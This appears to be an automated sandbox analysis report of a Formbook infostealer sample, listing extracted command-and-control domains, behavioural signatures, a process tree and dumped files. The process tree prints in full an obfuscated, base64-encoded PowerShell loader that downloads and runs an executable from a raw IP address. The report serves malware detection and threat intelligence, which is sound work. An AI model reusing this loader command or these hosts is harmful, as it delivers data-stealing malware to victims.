Analysis
- max time kernel
148s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20240802-en - resource tags
- submitted
23/09/2024, 18:14
General
- Target f691fb2c2b5183a496711a5b78b575ce.hta
- Size 115KB
- Sample240923-wvbjqszcqa
- SHA256 1c7d8ace58257e970e2f7738886c596d8189f85cef9127dba9b324735f506821
Malware Config
Extracted
-
formbook
-
4.1
-
j62t
-
qualegacy.shop
-
ijngblv.top
-
hop-tiktok.top
-
nti-aging-66026.bond
-
ostashqiptare-al.info
-
faretireltd.info
-
dra.finance
-
arden-office-45382.bond
-
nair.today
-
dence.tokyo
-
omoantifragilis.net
-
eet-new-people-26331.bond
-
ocfamilyto.llc
-
roduct-tester-jobs-68513.bond
-
elestialaurelia.buzz
-
uzzbuilders.buzz
-
ryptofaucet.xyz
-
krfq.shop
-
jbhu.vip
-
uemw.top
Signatures
- Formbook
Formbook is a data stealing malware which is capable of stealing data.
- Formbook payload 2 IoCs
- Blocklisted process makes network request 3 IoCs
- Downloads MZ/PE file
- Evasion via Device Credential Deployment 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 2 IoCs
- Suspicious use of SetThreadContext 3 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 54 IoCs
- Suspicious behavior: MapViewOfSection 5 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 27 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\f691fb2c2b5183a496711a5b78b575ce.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}2⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" "/c powERShell -eX BYPAsS -nOp -w 1 -c DEVICeCrEDEntiaLdEPlOYment.eXe ; Iex($(IEx('[SySTEM.TEXT.ENCoDinG]'+[chAR]0X3A+[CHaR]58+'uTf8.gEtstRing([SySTEM.CONveRT]'+[cHar]58+[cHAr]0x3A+'FROMBaSE64STRing('+[chAR]0x22+'JGNTRXluWUggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSRGVmaW5pVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiTixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZbGJFLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVNU21adlNwVix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFlmRWxjLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVaSyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInN4dGZOYiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRVNwYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0lHWSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY1NFeW5ZSDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwMy4xMzEuMTMwLjE1NC8xNDQvYXVkaW9kZy5leGUiLCIkZU52OkFQUERBVEFcYXVkaW9kZy5leGUiLDAsMCk7U3RBclQtc0xFZVAoMyk7c3RBclQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXGF1ZGlvZGcuZXhlIg=='+[cHaR]34+'))')))"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowERShell -eX BYPAsS -nOp -w 1 -c DEVICeCrEDEntiaLdEPlOYment.eXe ; Iex($(IEx('[SySTEM.TEXT.ENCoDinG]'+[chAR]0X3A+[CHaR]58+'uTf8.gEtstRing([SySTEM.CONveRT]'+[cHar]58+[cHAr]0x3A+'FROMBaSE64STRing('+[chAR]0x22+'JGNTRXluWUggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSRGVmaW5pVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiTixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZbGJFLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVNU21adlNwVix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFlmRWxjLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVaSyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInN4dGZOYiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRVNwYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0lHWSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY1NFeW5ZSDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwMy4xMzEuMTMwLjE1NC8xNDQvYXVkaW9kZy5leGUiLCIkZU52OkFQUERBVEFcYXVkaW9kZy5leGUiLDAsMCk7U3RBclQtc0xFZVAoMyk7c3RBclQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXGF1ZGlvZGcuZXhlIg=='+[cHaR]34+'))')))"4⤵
- Blocklisted process makes network request
- Evasion via Device Credential Deployment
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vxcoxog4\vxcoxog4.cmdline"5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES80E8.tmp" "c:\Users\Admin\AppData\Local\Temp\vxcoxog4\CSCE170C81B526140AEBFE05BC93CBAF43.TMP"6⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Roaming\audiodg.exe"C:\Users\Admin\AppData\Roaming\audiodg.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\audiodg.exe"C:\Users\Admin\AppData\Roaming\audiodg.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
-
C:\Windows\SysWOW64\cmstp.exe"C:\Windows\SysWOW64\cmstp.exe"2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe/c del "C:\Users\Admin\AppData\Roaming\audiodg.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
RES80E8.tmp
__PSScriptPolicyTest_dq4yu2qm.2zd.ps1
vxcoxog4.dll
audiodg.exe
CSCE170C81B526140AEBFE05BC93CBAF43.TMP
vxcoxog4.0.cs
vxcoxog4.cmdline
memory/208-43-0x0000000007E60000-0x0000000007E7A000-memory.dmp
memory/208-4-0x0000000071670000-0x0000000071E20000-memory.dmp
memory/208-13-0x00000000062F0000-0x0000000006644000-memory.dmp
memory/208-18-0x00000000068A0000-0x00000000068BE000-memory.dmp
memory/208-19-0x00000000068E0000-0x000000000692C000-memory.dmp
memory/208-21-0x000000006DF30000-0x000000006DF7C000-memory.dmp
memory/208-22-0x0000000071670000-0x0000000071E20000-memory.dmp
memory/208-20-0x0000000007850000-0x0000000007882000-memory.dmp
memory/208-23-0x000000006E2A0000-0x000000006E5F4000-memory.dmp
memory/208-33-0x0000000006E80000-0x0000000006E9E000-memory.dmp
memory/208-35-0x0000000007890000-0x0000000007933000-memory.dmp
memory/208-34-0x0000000071670000-0x0000000071E20000-memory.dmp
memory/208-36-0x0000000008230000-0x00000000088AA000-memory.dmp
memory/208-37-0x0000000007BF0000-0x0000000007C0A000-memory.dmp
memory/208-38-0x0000000007C60000-0x0000000007C6A000-memory.dmp
memory/208-39-0x0000000007E80000-0x0000000007F16000-memory.dmp
memory/208-40-0x0000000007DE0000-0x0000000007DF1000-memory.dmp
memory/208-41-0x0000000007E10000-0x0000000007E1E000-memory.dmp
memory/208-42-0x0000000007E20000-0x0000000007E34000-memory.dmp
memory/208-0-0x000000007167E000-0x000000007167F000-memory.dmp
memory/208-44-0x0000000007E50000-0x0000000007E58000-memory.dmp
memory/208-6-0x0000000005B70000-0x0000000005BD6000-memory.dmp
memory/208-5-0x0000000005AD0000-0x0000000005AF2000-memory.dmp
memory/208-9-0x0000000005BE0000-0x0000000005C46000-memory.dmp
memory/208-3-0x0000000071670000-0x0000000071E20000-memory.dmp
memory/208-2-0x0000000005CC0000-0x00000000062E8000-memory.dmp
memory/208-57-0x0000000007E50000-0x0000000007E58000-memory.dmp
memory/208-59-0x000000007167E000-0x000000007167F000-memory.dmp
memory/208-60-0x0000000071670000-0x0000000071E20000-memory.dmp
memory/208-61-0x0000000071670000-0x0000000071E20000-memory.dmp
memory/208-66-0x0000000008120000-0x0000000008142000-memory.dmp
memory/208-67-0x0000000071670000-0x0000000071E20000-memory.dmp
memory/208-68-0x0000000008E60000-0x0000000009404000-memory.dmp
memory/208-1-0x00000000032D0000-0x0000000003306000-memory.dmp
memory/208-83-0x0000000071670000-0x0000000071E20000-memory.dmp
memory/1404-81-0x0000000000E70000-0x0000000000F36000-memory.dmp
memory/1404-82-0x00000000057E0000-0x0000000005872000-memory.dmp
memory/1404-84-0x0000000005990000-0x000000000599A000-memory.dmp
memory/1404-85-0x0000000005C50000-0x0000000005C62000-memory.dmp
memory/1404-86-0x0000000007140000-0x00000000071B6000-memory.dmp
memory/1404-87-0x0000000009800000-0x000000000989C000-memory.dmp
memory/2400-88-0x0000000000400000-0x000000000042F000-memory.dmp
memory/3532-97-0x0000000009360000-0x00000000094E4000-memory.dmp
memory/3608-92-0x0000000000A40000-0x0000000000A56000-memory.dmp
memory/3608-93-0x0000000000D70000-0x0000000000D9F000-memory.dmp